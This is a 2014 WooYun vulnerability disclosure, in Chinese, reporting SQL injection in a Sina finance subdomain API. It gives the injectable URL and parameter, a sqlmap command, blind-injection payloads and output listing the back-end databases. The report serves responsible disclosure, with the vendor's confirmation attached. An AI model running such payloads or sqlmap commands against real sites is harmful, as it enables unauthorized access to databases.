当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074700

漏洞标题:新浪某分站SQL注入

相关厂商:新浪

漏洞作者: Jannock

提交时间:2014-09-01 22:29

修复时间:2014-10-16 22:30

公开时间:2014-10-16 22:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-01: 细节已通知厂商并且等待厂商处理中
2014-09-02: 厂商已经确认,细节仅向厂商公开
2014-09-12: 细节向核心白帽子及相关领域专家公开
2014-09-22: 细节向普通白帽子公开
2014-10-02: 细节向实习白帽子公开
2014-10-16: 细节向公众公开

简要描述:

新浪某分站SQL注入

详细说明:

http://stock2.finance.sina.com.cn/sf/api/jsonp.php/aaa=johansen082447293183438691409578322670/dataService.getNoticeList?type=%E5%85%B6%E4%BB%96&index=1&court=&pageNum=undefined
注入点: type

漏洞证明:

root@bt:/pentest/database/sqlmap# python sqlmap.py -u "http://stock2.finance.sina.com.cn/sf/api/jsonp.php/aaa=johansen082447293183438691409578322670/dataService.getNoticeList?type=%E5%85%B6%E4%BB%96&index=1&court=&pageNum=undefined" -p type --dbms=mysql --dbs
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:58:29
[21:58:29] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: type
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=其他' AND 4082=4082 AND 'xfgz'='xfgz&index=1&court=&pageNum=undefined
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: type=其他' AND SLEEP(5) AND 'weDc'='weDc&index=1&court=&pageNum=undefined
---
[21:58:29] [INFO] testing MySQL
[21:58:30] [INFO] confirming MySQL
[21:58:31] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[21:58:31] [INFO] fetching database names
[21:58:31] [INFO] fetching number of databases
[21:58:31] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[21:58:31] [INFO] retrieved: 3
[21:58:34] [INFO] retrieved: information_schema
[21:59:31] [INFO] retrieved: sf_db
[21:59:49] [INFO] retrieved: test
available databases [3]:
[*] information_schema
[*] sf_db
[*] test

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-09-02 11:21

厂商回复:

感谢关注新浪安全,漏洞正在修复中。

最新状态:

暂无